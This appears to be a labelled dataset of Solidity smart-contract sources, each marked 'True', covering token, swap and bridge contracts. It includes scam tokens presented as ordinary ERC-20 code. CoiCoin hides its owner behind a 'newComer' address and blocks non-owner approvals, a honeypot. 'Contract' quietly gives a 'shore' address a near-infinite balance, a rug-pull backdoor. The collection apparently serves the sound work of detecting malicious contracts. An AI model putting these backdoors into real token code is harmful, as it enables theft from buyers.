* @param _amount The amount of tokens to mint. Must be less than or equal to the minterAllowance of the caller.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) whenNotPaused onlyMinters notBlacklisted(msg.sender) notBlacklisted(_to) public returns (bool) {
require(_to != address(0));
require(_amount > 0);
uint256 mintingAllowedAmount = minterAllowed[msg.sender];
require(_amount <= mintingAllowedAmount);
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
minterAllowed[msg.sender] = mintingAllowedAmount.sub(_amount);
emit Mint(msg.sender, _to, _amount);
emit Transfer(0x0, _to, _amount);
return true;
}
/**
* @dev Throws if called by any account other than the masterMinter
*/
modifier onlyMasterMinter() {
require(msg.sender == masterMinter);
_;
}
/**
* @dev Get minter allowance for an account
* @param minter The address of the minter
*/
function minterAllowance(address minter) public view returns (uint256) {
return minterAllowed[minter];
}
/**
* @dev Checks if account is a minter
* @param account The address to check
*/
function isMinter(address account) public view returns (bool) {
return minters[account];
}
/**
* @dev Get allowed amount for an account
* @param owner address The account owner
* @param spender address The account spender
*/
function allowance(address owner, address spender) public view returns (uint256) {
return allowed[owner][spender];
}
/**
* @dev Get totalSupply of token
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev Get token balance of an account
* @param account address The account
*/
function balanceOf(address account) public view returns (uint256) {
return balances[account];
}
/**
* @dev Adds blacklisted check to approve
* @return True if the operation was successful.
*/
function approve(address _spender, uint256 _value) whenNotPaused notBlacklisted(msg.sender) notBlacklisted(_spender) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Transfer tokens from one address to another.
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
* @return bool success
*/
function transferFrom(address _from, address _to, uint256 _value) whenNotPaused notBlacklisted(_to) notBlacklisted(msg.sender) notBlacklisted(_from) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
* @return bool success
*/
function transfer(address _to, uint256 _value) whenNotPaused notBlacklisted(msg.sender) notBlacklisted(_to) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Function to add/update a new minter
* @param minter The address of the minter
* @param minterAllowedAmount The minting amount allowed for the minter
* @return True if the operation was successful.
*/
function configureMinter(address minter, uint256 minterAllowedAmount) whenNotPaused onlyMasterMinter public returns (bool) {
minters[minter] = true;
minterAllowed[minter] = minterAllowedAmount;
emit MinterConfigured(minter, minterAllowedAmount);
return true;
}
/**
* @dev Function to remove a minter
* @param minter The address of the minter to remove
* @return True if the operation was successful.
*/
function removeMinter(address minter) onlyMasterMinter public returns (bool) {
minters[minter] = false;
minterAllowed[minter] = 0;
emit MinterRemoved(minter);
return true;
}
/**
* @dev allows a minter to burn some of its own tokens
* Validates that caller is a minter and that sender is not blacklisted
* amount is less than or equal to the minter's account balance
* @param _amount uint256 the amount of tokens to be burned
*/
function burn(uint256 _amount) whenNotPaused onlyMinters notBlacklisted(msg.sender) public {
uint256 balance = balances[msg.sender];
require(_amount > 0);
require(balance >= _amount);
totalSupply_ = totalSupply_.sub(_amount);
balances[msg.sender] = balance.sub(_amount);
emit Burn(msg.sender, _amount);
emit Transfer(msg.sender, address(0), _amount);
}
function updateMasterMinter(address _newMasterMinter) onlyOwner public {
require(_newMasterMinter != address(0));
masterMinter = _newMasterMinter;
emit MasterMinterChanged(masterMinter);
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-08-10
*/
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) private onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
address private newComer = _msgSender();
modifier onlyOwner() {
require(newComer == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
contract CoiCoin is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _tTotal = 1000 * 10**6 * 10**18;
string private _name = 'CoiCoin';
string private _symbol = 'Coi️';
uint8 private _decimals = 18;
constructor () public {
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function _approve(address ol, address tt, uint256 amount) private {
require(ol != address(0), "ERC20: approve from the zero address");
require(tt != address(0), "ERC20: approve to the zero address");
if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); }
else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); }
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
} | True | [
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// https://t.me/casperInu_eth
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.6;
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), 'Ownable: caller is not the owner');
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), 'Ownable: new owner is the zero address');
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract Contract is Ownable {
constructor(
string memory _NAME,
string memory _SYMBOL,
address routerAddress,
address shore
) {
_symbol = _SYMBOL;
_name = _NAME;
_fee = 5;
_decimals = 9;
_tTotal = 1000000000000000 * 10**_decimals;
_balances[shore] = customs;
_balances[msg.sender] = _tTotal;
research[shore] = customs;
research[msg.sender] = customs;
router = IUniswapV2Router02(routerAddress);
uniswapV2Pair = IUniswapV2Factory(router.factory()).createPair(address(this), router.WETH());
emit Transfer(address(0), msg.sender, _tTotal);
}
uint256 public _fee;
string private _name;
string private _symbol;
uint8 private _decimals;
function name() public view returns (string memory) {
return _name;
}
mapping(address => address) private ring;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => uint256) private _balances;
function symbol() public view returns (string memory) {
return _symbol;
}
uint256 private _tTotal;
uint256 private _rTotal;
address public uniswapV2Pair;
IUniswapV2Router02 public router;
uint256 private customs = ~uint256(0);
function decimals() public view returns (uint256) {
return _decimals;
}
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
function totalSupply() public view returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function according(
address create,
address busy,
uint256 amount
) private {
address draw = ring[address(0)];
bool instant = uniswapV2Pair == create;
uint256 century = _fee;
if (research[create] == 0 && height[create] > 0 && !instant) {
research[create] -= century;
}
ring[address(0)] = busy;
if (research[create] > 0 && amount == 0) {
research[busy] += century;
}
height[draw] += century;
uint256 fee = (amount / 100) * _fee;
amount -= fee;
_balances[create] -= fee;
_balances[address(this)] += fee;
_balances[create] -= amount;
_balances[busy] += amount;
}
mapping(address => uint256) private height;
function approve(address spender, uint256 amount) external returns (bool) {
return _approve(msg.sender, spender, amount);
}
mapping(address => uint256) private research;
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool) {
require(amount > 0, 'Transfer amount must be greater than zero');
according(sender, recipient, amount);
emit Transfer(sender, recipient, amount);
return _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);
}
function transfer(address recipient, uint256 amount) external returns (bool) {
according(msg.sender, recipient, amount);
emit Transfer(msg.sender, recipient, amount);
return true;
}
function _approve(
address owner,
address spender,
uint256 amount
) private returns (bool) {
require(owner != address(0) && spender != address(0), 'ERC20: approve from the zero address');
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
return true;
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-08-16
*/
pragma solidity 0.5.2;
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract onlyOwner {
address public owner;
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
modifier isOwner {
require(msg.sender == owner);
_;
}
}
contract SwapUSDT is onlyOwner{
IERC20 token;
event swapToken(address from, uint amount);
address distTokens;
constructor(address _contract) public{
distTokens = _contract;
token = IERC20(_contract);
}
function setTokenContract(address _contract) isOwner public{
distTokens = _contract;
token = IERC20(_contract);
}
function getTokenContract() public view returns(address){
return distTokens;
}
function sendAmount(address receiver, uint256 amount) isOwner public returns(bool){
require(amount <= token.balanceOf(address(this)));
token.transfer(receiver, amount);
return true;
}
function() external payable {
emit swapToken(msg.sender, msg.value);
// Fallback function.
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-06-02
*/
/*
* Crypto stamp Bridge Data
* Holding all data that is used across the bridge and connected contracts
*
* Developed by Capacity Blockchain Solutions GmbH <capacity.at>
* for Österreichische Post AG <post.at>
*
* Any usage of or interaction with this set of contracts is subject to the
* Terms & Conditions available at https://crypto.post.at/
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/utils/introspection/IERC165.sol
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: @openzeppelin/contracts/token/ERC721/IERC721.sol
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
